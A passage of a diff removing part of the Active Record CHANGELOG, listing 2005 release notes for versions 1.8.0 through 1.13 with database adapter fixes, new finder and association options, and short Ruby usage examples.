-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection.  Connection adapter must respond to the active? and reconnect! instance methods.  Initial support for PostgreSQL, MySQL, and SQLite.  Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil?  #428 [Jeremy Kemper]
-
-* Oracle: Much faster column reflection.  #2848 [Michael Schoen <schoenm@earthlink.net>]
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing).  Base.define_attr_method allows nil values.  [Jeremy Kemper]
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence.  [Jeremy Kemper]
-
-* PostgreSQL: correctly discover custom primary key sequences.  #2594 [Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper]
-
-* SQLServer: don't report limits for unsupported field types.  #2835 [Ryan Tomayko]
-
-* Include the Enumerable module in ActiveRecord::Errors.  [Rick Bradley <rick@rickbradley.com>]
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association.  #2818 [rubyonrails@atyp.de]
-
-* Don't cast nil or empty strings to a dummy date.  #2789 [Rick Bradley <rick@rickbradley.com>]
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it.  #2811 [rephorm@rephorm.com]
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
-
-* Correct handling of complex order clauses with SQL Server limit emulation.  #2770 [Tom Ward <tom@popdog.net>, Matt B.]
-
-* Correct whitespace problem in Oracle default column value parsing.  #2788 [rick@rickbradley.com]
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy.  This allows you to act on the habtm association as you please while preserving referential integrity.  #2065 [larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper]
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all.  [Jeremy Kemper]
-
-* More compatible Oracle column reflection.  #2771 [Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>]
-
-
-*1.13.0* (November 7th, 2005)
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
-    has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints.  Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes.  [Jeremy Kemper]  Example:
-
-    Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
-      # Find where name = ? and active=true
-      Comment.find :all, :conditions => ['name = ?', name]
-      # Create comment associated with :post_id
-      Comment.create :body => "Hello world"
-    end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
-    Comment.constrain(:creation => { :post_id => 5 }) do
-      # Associated with :post_id
-      Comment.create :body => "Hello world"
-    end
-  
-  This is rarely used directly, but allows for find_or_create on associations. So you can do:
-  
-    # If the tag doesn't exist, a new one is created that's associated with the person
-    person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
-    # No 'Summer' tag exists
-    Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-    
-    # Now the 'Summer' tag does exist
-    Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
-    class Account < ActiveRecord::Base
-      has_many :people do
-        def find_or_create_by_name(name)
-          first_name, *last_name = name.split
-          last_name = last_name.join " "
-
-          find_or_create_by_first_name_and_last_name(first_name, last_name)
-        end
-      end
-    end
-
-    person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
-    person.first_name # => "David"
-    person.last_name  # => "Heinemeier Hansson"
-
-  Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list.  #2729 [Ryan Tomayko]
-
-* Quote column names in generated SQL.  #2728 [Ryan Tomayko]
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
-
-* Add Model.create! to match existing model.save! method.  When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors).  [Jeremy Kemper]
-
-* Correct fixture behavior when table name pluralization is off.  #2719 [Rick Bradley <rick@rickbradley.com>]
-
-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
-
-* Added migration support for Oracle #2647 [Michael Schoen]
-
-* Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm@earthlink.net>]
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility.  #2618 [dansketcher@gmail.com]
-
-* Constraints are cloned so they can't be inadvertently modified while they're
-in effect.  Added :readonly finder constraint.  Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true.  [Jeremy Kemper <rails@bitsweat.net>]
-
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
-
-
-*1.12.2* (October 26th, 2005)
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
-
-* Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby@planetargon.com>]
-
-* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [Stefan Kaes]
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
-
-* HABTM finders shouldn't return readonly records.  #2525 [Patrick Lenz <patrick@lenz.sh>]
-
-* Make all tests runnable on their own. #2521. [Blair Zajac <blair@orcaware.com>]
-
-
-*1.12.1* (October 19th, 2005)
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection.  #2507 [tmornini@infomania.com]
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-*1.12.0* (October 16th, 2005)
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support.  Use set_sequence_name in your model class to specify its primary key sequence.  #2292 [Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>]
-
-* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table.  #1896 [purestorm@ggnore.net]
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby@planetargon.com>] 
-
-* Introduce read-only records.  If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save.  object.readonly? reports whether the object is read-only.  Passing :readonly => true to any finder method will mark returned records as read-only.  The :joins option now implies :readonly, so if you use this option, saving the same record will now fail.  Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me@cpb.ca>]
-
-* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair@orcaware.com>]
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
-
-* Update DB2 adapter. #2206. [contact@maik-schmidt.de]
-
-* Corrections to SQLServer native data types. #2267.  [rails.20.clarry@spamgourmet.com]
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair@orcaware.com>]
-
-* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
-
-* Add test coverage for content_columns. #2432. [coffee2code]
-
-* Speed up for unthreaded environments. #2431. [Stefan Kaes]
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [Stefan Kaes]
-
-* Speed up the setting of table_name. #2428. [Stefan Kaes]
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
-
-* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
-
-* Use foreign_key inflection uniformly.  #2156 [Blair Zajac <blair@orcaware.com>]
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys.  #2221 [joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>]
-
-* Returning false from before_destroy should cancel the action.  #1829 [Jeremy Huffman]
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type.  #2256 [mat <mat@absolight.fr>]
-
-* Extensive documentation for the abstract database adapter.  #2250 [François Beausoleil <fbeausoleil@ftml.net>]
-
-* Clean up Fixtures.reset_sequences for PostgreSQL.  Handle tables with no rows and models with custom primary keys.  #2174, #2183 [jay@jay.fm, Blair Zajac <blair@orcaware.com>]
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range.  #2022 [Manuel Holtgrewe <purestorm@ggnore.net>]
-
-* Make update_attribute use the same writer method that update_attributes uses.
- #2237 [trevor@protocool.com]
-
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
-
-* Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id.  #1749 [chris@chrisbrinker.com]
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
-    ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo@gatelys.com]
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
-
-* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
-
-* Fixed migrations for Windows when using more than 10 [David Naseby]
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
-
-* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
-
-* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
-
-* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd@notso.net]
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
-
-* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
-
-* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
-
-* Make destroy return self #1913 [Sebastian Kanthak]
-
-* Fix typo in validations documentation #1938 [court3nay]
-
-* Make acts_as_list work for insert_at(1) #1966 [hensleyl@papermountain.org]
-
-* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
-
-* Allow add_column and create_table to specify NOT NULL #1712 [emptysands@gmail.com]
-
-* Fix create_table so that id column is implicitly added [Rick Olson]
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
-
-    class Comment < AR:B
-      def self.search(q)
-        find(:all, :conditions => ["body = ?", q])
-      end
-    end 
-
-    class Post < AR:B
-      has_many :comments
-    end
-
-    Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-  
-  NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
-  by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
-  details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
-  noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
-
-
-*1.11.1* (11 July, 2005)
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
-
-* Correct reflected table name for singular associations.  #1688 [court3nay]
-
-* Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 [court3nay]
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-*1.11.0* (6 July, 2005)
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
-    class Project
-      has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-    
-      def evaluate_velocity(developer)
-        ...
-      end
-    end 
-  
-  ..raising an exception will cause the object not to be added (or removed, with before_remove).
-    
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [Stefan Kaes]
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
-
-* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails@veryclever.net]
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash@vanklinkenbergsoftware.nl]
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
-    Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-  
-  ...should instead be:
-  
-    Developer.find(
-      :all, 
-      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id', 
-      :conditions => 'project_id=1'
-    )    
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
-
-* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
-  Example:
-
-    david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
-    david.save
-  
-  If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
-  project is saved when david.save is called.
-  
-  Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-  
-    david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben@bensinclair.com]
-
-* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
-
-* Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave@cherryville.org]
-
-* Corrected @@configurations typo #1410 [david@ruppconsulting.com]
-
-* Return PostgreSQL columns in the order they were declared #1374 [perlguy@gmail.com]
-
-* Allow before/after update hooks to work on models using optimistic locking 
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
-    fixtures :web_sites
-
-    def test_something
-      assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
-    end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
-
-* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make "  " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
-  Conditional validations such as the following are made possible:
-    validates_numericality_of :income, :if => :employed?
-
-  Conditional validations can also solve the salted login generator problem:
-    validates_confirmation_of :password, :if => :new_password?
-  
-  Using blocks:
-    validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 [dwlt@dwlt.net]
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
-    # SELECT * FROM topics WHERE title IN ('First', 'Second')
-    Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
-    development:
-      adapter: postgresql
-      database: rails_development
-      host: localhost
-      username: postgres
-      password:
-      encoding: UTF8
-      min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-*1.10.1* (20th April, 2005)
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-*1.10.0* (19th April, 2005)
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
-    for post in Post.find(:all, :limit => 100)
-      puts "Post:            " + post.title
-      puts "Written by:      " + post.author.name
-      puts "Last comment on: " + post.comments.first.created_on
-    end
-  
-  This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-  
-    for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
- 
-  ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
-    Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
-    Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
-    Person.find(:first, :order => "created_on DESC", :offset => 5)
-    Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
-    Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
-    This acts provides Nested Set functionality.  Nested Set is similiar to Tree, but with
-    the added feature that you can select the children and all of it's descendants with
-    a single query.  A good use case for this is a threaded post system, where you want
-    to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters@gmail.com]
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh@chase3000.com]
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb@aei-tech.com]
-
-* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon@milliped.com]
-
-* Fixed boolean saving on Oracle #1093 [mparrish@pearware.org]
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
-
-* Added quoting of column names for fixtures #997 [jcfischer@gmail.com]
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
-
-* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
-
-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-*1.9.1* (27th March, 2005)
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
-
-
-*1.9.0* (22th March, 2005)
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
-    Developer.find_all nil, 'id ASC', 5      # return the first five developers 
-    Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-    
-  This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged. 
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
-
-* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave@cherryville.org]
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
-
-* Added the possibility of specifying fixtures in multiple calls #816 [kim@tinker.com]
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian@grytoyr.net]
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-*1.8.0* (7th March, 2005)
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
-
